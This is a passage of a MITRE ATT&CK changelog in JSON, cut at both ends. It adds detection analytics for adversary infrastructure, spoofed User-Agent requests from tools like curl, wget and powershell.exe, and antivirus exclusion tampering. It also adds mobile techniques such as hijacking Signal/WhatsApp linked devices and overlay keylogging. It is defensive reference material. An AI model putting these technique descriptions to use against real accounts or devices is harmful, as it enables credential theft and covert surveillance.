"name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811", + "name": "Domain Name", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--91f5dbce-d334-4b42-9554-e94866d75a26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0893#AN2025", + "external_id": "AN2025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2025", + "description": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003) , [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) , or [Malicious Link](https://attack.mitre.org/techniques/T1204/001) .", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1762aa55-010b-4a26-b439-7afcfcc5613d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0894#AN2026", + "external_id": "AN2026" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2026", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--96e1107e-7fbe-49a2-b425-9d85a6ff46df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0895#AN2027", + "external_id": "AN2027" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2027", + "description": "Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nConsider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", + "name": "Domain Name", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6500f0c-41bd-4e04-ad9d-4a3121803175", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0896#AN2028", + "external_id": "AN2028" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2028", + "description": "Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b73489af-2e95-4f41-b82e-327a84da2a1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-22 19:00:47.079000+00:00", + "modified": "2025-10-24 15:00:29.811000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0898#AN2029", + "external_id": "AN2029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2029", + "description": "Process execution without GUI context (e.g., powershell.exe, wscript.exe) generates HTTP traffic with a spoofed User-Agent mimicking a legitimate browser. No corresponding UI application (e.g., msedge.exe) is active or in parent lineage. The User-Agent deviates from known enterprise baselines or contains spoofed platform indicators. User-Agent strings can be gathered with API calls such as `ShellExecuteW` to open the default browser on a socket to receive an HTTP reply, or by hard coding the User-Agent string for a specific browser.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound HTTP POST with suspicious payload size or user-agent" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API Calls" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HeaderSignatureMatch", + "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)." + }, + { + "field": "UserAgentFingerprint", + "description": "Flag browser-based sessions" + }, + { + "field": "NonBrowserProcessList", + "description": "List of non-browser binaries expected not to initiate web requests (e.g., powershell.exe, cscript.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--098f0607-df17-4291-a1b1-a8e3374c075a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-22 20:40:20.993000+00:00", + "modified": "2025-10-23 20:07:29.933000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0897#AN2030", + "external_id": "AN2030" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2030", + "description": "A process with no prior history or outside of known whitelisted tools initiates file or registry modifications to configure exclusion rules for antivirus, backup, or file-handling systems. Or a file system enumeration for specific file names andcritical extensions like .dll, .exe, .sys, or specific directories such as 'Program Files' or security tool paths or system component discovery for the exclusion of the files or components.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate multiply discovery activities and file enumeration activities." + }, + { + "field": "DiscoveryActivityThreshold", + "description": "Minimum number of different discovery techniques within time window to trigger detection - balance between false positives and coverage (default: 4 activities)" + }, + { + "field": "ExclusionTargetList", + "description": "List of extensions or folders considered suspicious when excluded (e.g., .dll, .exe, C:\\\\Program Files\\\\)" + }, + { + "field": "AuthorizedExclusionModifiers", + "description": "Whitelist of known system management tools/processes allowed to modify exclusion settings" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--acabb18b-e2d6-4531-92bb-4165f0a16595", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-23 14:24:10.696000+00:00", + "modified": "2025-10-24 15:04:39.762000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0898#AN2031", + "external_id": "AN2031" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2031", + "description": "Detection of HTTP outbound requests with inconsistent or spoofed User-Agent headers from command-line tools (e.g., curl, wget, python requests) following interactive user shells or scheduled jobs outside of normal user session behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, conn.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "outbound connections" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HeaderSignatureMatch", + "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)." + }, + { + "field": "UserAgentFingerprint", + "description": "Flag browser-based sessions" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--29ca0e06-e848-44cd-821a-24576276a8af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-23 14:51:50.859000+00:00", + "modified": "2025-10-24 15:10:57.546000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0898#AN2032", + "external_id": "AN2032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2032", + "description": "Observation of scripted network requests (e.g., using osascript, curl, or python) that include mismatched or spoofed browser User-Agent strings compared to the typical macOS Safari or Chrome baseline, especially when triggered by non-interactive launch agents, login hooks, or background daemons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "network connection events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound HTTP POST with suspicious payload size or user-agent" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgentFingerprint", + "description": "Flag browser-based sessions" + }, + { + "field": "HeaderSignatureMatch", + "description": "Specific HTTP header anomalies or patterns (e.g., spoofed User-Agent)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + } + ], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + } + }, + "mobile-attack": { + "techniques": { + "additions": [ + { + "type": "attack-pattern", + "id": "attack-pattern--a126c117-54e4-4b93-9e4f-72cc964e6760", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-05-19 18:24:54.985000+00:00", + "modified": "2025-05-19 20:03:02.656000+00:00", + "name": "Linked Devices", + "description": "Adversaries may abuse the \u201clinked devices\u201d feature on messaging applications, such as Signal and WhatsApp, to register the user\u2019s account to an adversary-controlled device. By abusing the \u201clinked devices\u201d feature, adversaries may achieve and maintain persistence through the user\u2019s account, may collect information, such as the user\u2019s messages and contacts list, and may send future messages from the linked device.\n\nSignal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a \u201clinked devices\u201d feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.(Citation: WhatsApp_LinkDevice_NoDate)(Citation: Signal_LinkedDevices_NoDate)\n\nAdversaries may use [Phishing](https://attack.mitre.org/techniques/T1660) techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user\u2019s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices. \nUpon scanning the QR code in Signal, users may click on the \u201cTransfer Message History\u201d option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user\u2019s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1676", + "external_id": "T1676" + }, + { + "source_name": "Signal_LinkedDevices_NoDate", + "description": "Signal. (n.d.). Linked Devices. Retrieved May 9, 2025.", + "url": "https://support.signal.org/hc/en-us/articles/360007320551-Linked-Devices" + }, + { + "source_name": "WhatsApp_LinkDevice_NoDate", + "description": "WhatsApp. (n.d.). How to link a device. Retrieved May 9, 2025.", + "url": "https://faq.whatsapp.com/1317564962315842/?helpref=faq_content&cms_platform=web" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Giorgi Gurgenidze, GITAC" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--337e1136-a6d3-4465-a5c5-fdc658117747", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-17 14:58:52.520000+00:00", + "modified": "2025-09-17 15:21:58.225000+00:00", + "name": "Accounts", + "description": "Adversaries may utilize standard operating system APIs to gather account data. On Android, this can be accomplished by using the AccountManager API. For example, adversaries may use the `getAccounts()` method to list all accounts.(Citation: Android_AccountManager_Feb2025) On iOS, this can be accomplished by using the Keychain services. \n\nIf the device has been jailbroken or rooted, adversaries may be able to access [Accounts](https://attack.mitre.org/techniques/T1636/005) without the users\u2019 knowledge or approval. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1636/005", + "external_id": "T1636.005" + }, + { + "source_name": "Android_AccountManager_Feb2025", + "description": "Android. (2025, February 13). AccountManager. Retrieved September 2, 2025.", + "url": "https://developer.android.com/reference/android/accounts/AccountManager" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Google's Android Security team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "attack-pattern", + "id": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:08.613000+00:00", + "modified": "2025-10-27 17:12:01.143000+00:00", + "name": "Abuse Accessibility Features", + "description": "Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device\u2019s user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview) \n\nOne example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) \n\nAnother example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1453", + "external_id": "T1453" + }, + { + "source_name": "Google_AndroidAcsOverview", + "description": "Google. (n.d.). Android accessibility overview. Retrieved April 17, 2025.", + "url": "https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA" + }, + { + "source_name": "SahinSRLabs_FluBot_Dec2021", + "description": "\u015eahin, Erdo\u011fan Ya\u011f\u0131z. (2021, December 21). When your phone gets sick: FluBot abuses Accessibility features to steal data. Retrieved April 16, 2025.", + "url": "https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Luk\u00e1\u0161 \u0160tefanko, ESET", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "3.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_detection']\": \"\"}, \"dictionary_item_removed\": {\"root['x_mitre_tactic_type']\": [\"Post-Adversary Device Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-27 17:12:01.143000+00:00\", \"old_value\": \"2025-04-25 15:16:29.002000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device\\u2019s user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview) \\n\\nOne example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) \\n\\nAnother example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features. \", \"old_value\": \"**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**\\n\\nA malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)\\n\\nAdversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)\\n\\nAdversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the \\\"Back\\\" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,5 @@\\n-**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**\\n+Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device\\u2019s user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview) \\n \\n-A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)\\n+One example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) \\n \\n-Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)\\n-\\n-Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the \\\"Back\\\" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)\\n+Another example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_deprecated']\": {\"new_value\": false, \"old_value\": true}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}, \"root['external_references'][0]\": {\"new_value\": {\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/techniques/T1453\", \"external_id\": \"T1453\"}, \"old_value\": {\"source_name\": \"mitre-mobile-attack\", \"url\": \"https://attack.mitre.org/techniques/T1453\", \"external_id\": \"T1453\"}}, \"root['external_references'][2]\": {\"new_value\": {\"source_name\": \"SahinSRLabs_FluBot_Dec2021\", \"description\": \"\\u015eahin, Erdo\\u011fan Ya\\u011f\\u0131z. (2021, December 21). When your phone gets sick: FluBot abuses Accessibility features to steal data. Retrieved April 16, 2025.\", \"url\": \"https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data\"}, \"old_value\": {\"source_name\": \"android-trojan-steals-paypal-2fa\", \"description\": \"Luk\\u00e1\\u0161 \\u0160tefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.\", \"url\": \"https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/\"}}, \"root['external_references'][1]\": {\"new_value\": {\"source_name\": \"Google_AndroidAcsOverview\", \"description\": \"Google. (n.d.). Android accessibility overview. Retrieved April 17, 2025.\", \"url\": 